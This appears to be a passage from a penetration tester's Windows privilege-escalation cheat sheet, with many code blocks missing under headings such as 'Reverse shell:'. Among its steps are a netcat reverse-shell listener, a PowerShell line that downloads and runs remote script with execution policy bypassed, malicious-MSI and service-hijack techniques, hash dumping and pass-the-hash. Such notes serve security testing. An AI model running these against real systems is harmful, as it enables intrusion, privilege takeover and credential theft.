Last updated
Last updated
use rlwrap to improve windows shell
rlwrap nc -lnvp 443
Sometimes a user that you have the credentials for is also the administrator on the system, but uses the same password for both accounts. So never forget to try passwords when you have the chance. Just don't overdo it so you trigger some lockout mechanism and get detected.
Try the obvious - Maybe the user is SYSTEM or is already part of the Administrator group. As you can see from the output of the three commands below the username is hacker, he is part of the group administrators. In this case, a privilege escalation is not necessary because we are already in the administrators group!
whoami
net localgroup administrator
net user "%username%"
Getting a shell in limited interpreters:
Bind cmd to a port:
Reverse shell:
Spin up smbserver.py and connect via smb to your server on kali. ie smbclient -L //$kali$ip
Finding installed software, running processes, bind ports, and OS version might be critical to identify the right EoP vector.
Find installed patches, architecture, OS version
Get exact OS version
Hotfix(s): N/A If there are no Hot fixes then its likely the system is vulnerable to kernel exploit
Environment
List open connections
Network information
Find current user.
Links running processes to started services
A service running as Administrator/SYSTEM with incorrect file permissions might allow PE. You can replace the binary, restart the service and get system.
We are interested in services where permissions are: BUILTIN\Users with (F) or (C) or (M) for our group. More info about permissions:
Common exploitation payloads involve: Replacing the affecting binary with a reverse shell or a command that creates a new user and adds it to the Administrator group. Replace the affected service with your payload and and restart the service running:
The following commands will print the affected services:
If wmic is not available we can use sc.exe:
You can also manually check each service using cacls:
If you don't have access to wmic, you can do:
Windows XP SP1 is known to be vulnerable to PE in upnphost. You get Administrator with:
If it fails because of a missing dependency, run the following:
Or remove the dependency:
Using meterpreter:
If wmic and sc is not available, you can use accesschk. For Windows XP, version 5.2 of accesschk is needed:
Then query the service using Windows sc:
Then change the binpath to execute your own commands (restart of the service will most likely be needed):
Note - Might need to use the depend attribute explicitly:sc stop <vuln-service>
If you have SeAssingPrimaryToken or SeImpersonate privileges, you can get SYSTEM.
create payload
run juicy potato
capture connection
If we find a service running as SYSTEM/Administrator with an unquoted path and spaces in the path we can hijack the path and use it to elevate privileges. This occurs because windows will try, for every white space, to find the binary in every intermediate folder.
For example, the following path would be vulnerable:
Not vulnerable
Obtain the path of the executable called by a Windows service (good for checking Unquoted Paths):
We could place our payload with any of the following paths:
We might even be able to override the service executable, always check out the permissions of the service binary:
You can automate with meterpreter:
PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations
Import the PowerUp module with the following:
PS C:\>
Import-Module PowerUp.ps1
If you want to invoke everything without touching disk, use something like this:
C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mK64oH’); Invoke-AllChecks”
findstr /s /C:"stringtosearchfor.txt" "C:*"
We might sometimes find passwords in arbitrary files, you can find them running:
These are common files to find them in. They might be base64-encoded. So look out for that.
Pass The Hash allows an attacker to authenticate to a remote target by using a valid combination of username and NTLM/LM hash rather than a cleartext password.
Windows hash format:
You can do a hash dump in the affected system running:
Download and run fgdump.exe on the target machine.
or:
You can also do run as, with the hash:
You can find services bind to the loopback interface that are not reachable through the network running. Look for LISTENING/LISTEN:
Port forward using plinplink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080
Port forward using meterpreter
Once you know the updates installed, you can find known exploits using windows-exploit-suggester.
In March 2017 Microsoft stopped maintaining the security bulletin search. This means the Windows Exploit Suggester database will not include any vulnerabilities or exploits found after that date. Still, this tool can still be very useful on older systems.
AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions.
Check if these 2 registry values are set to "1"reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If they are, create your own malicious msi:
Then use msiexec on victim to execute your msi:
Metasploit module:
Third party drivers might contain vulnerabilities, find them running:
Don't rely on this - there are a lot of false positive! This is generally a last resort.
PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment
If there’s a way, we can execute code from windows, we may try
Uploading ncat and executing it
Powershell Empire/ Metasploit Web-Delivery Method
Invoke-Shellcode (from powersploit) see below
This is useful to do because generally it is easier to manipulate windows using the GUI. The downside is that you're most definitely will have an impact on the machine, as you may have to create a user or change a user's password to get in.
Module to elevate privileges to SYSTEM by creating a service or hijacking existing ones with incorrect permissions
Check out:
http://www.exploit-db.com/exploits/18176/
From admin to system
Generating a mutated binary to bypass antiviruses
You will probably need to accept the eula first:
if you capture a hash - put it into Google someone might have cracked it before
NTLM and LM passwords are located in the SAM file in C:\\Windows\SYSTEM32\CONFIG
LAN Manager (LM): Windows XP and prior use LAN manager protocol. Uses DES but the key space is small (only uppercase, not salted, 14 chars or padded to 14).
NTLM/NTLM2: It does not split the password, also stored in uppercase
Kerberos: Default protocol for active directory envs.PoCs
Add user to administrator group
PowerUp is an extremely useful script for quickly checking for obvious paths to privilege escalation on Windows. It is not an exploit itself, but it can reveal vulnerabilities such as administrator password stored in registry and similar. We shamelessly use as reference point for the following guide. Some basic knowledge about how to import Powershell modules and used them is required.
worked excellently for operating systems in the Windows XP and Windows Vista era, GDSSecurity's Windows-Exploit-Suggester does not work for operating systems like Windows 10 and vulnerabilities published in recent years. This is because Microsoft replaced the Microsoft Security Bulletin Data Excel file [1] on which GDSSecurity's Windows-Exploit-Suggester is fully dependent, by the MSRC API [2]. The Microsoft Security Bulletin Data Excel file has not been updated since Q1 2017, so later operating systems and vulnerabilities cannot be detected. Thanks , for this great tool which has served many of us for so many years!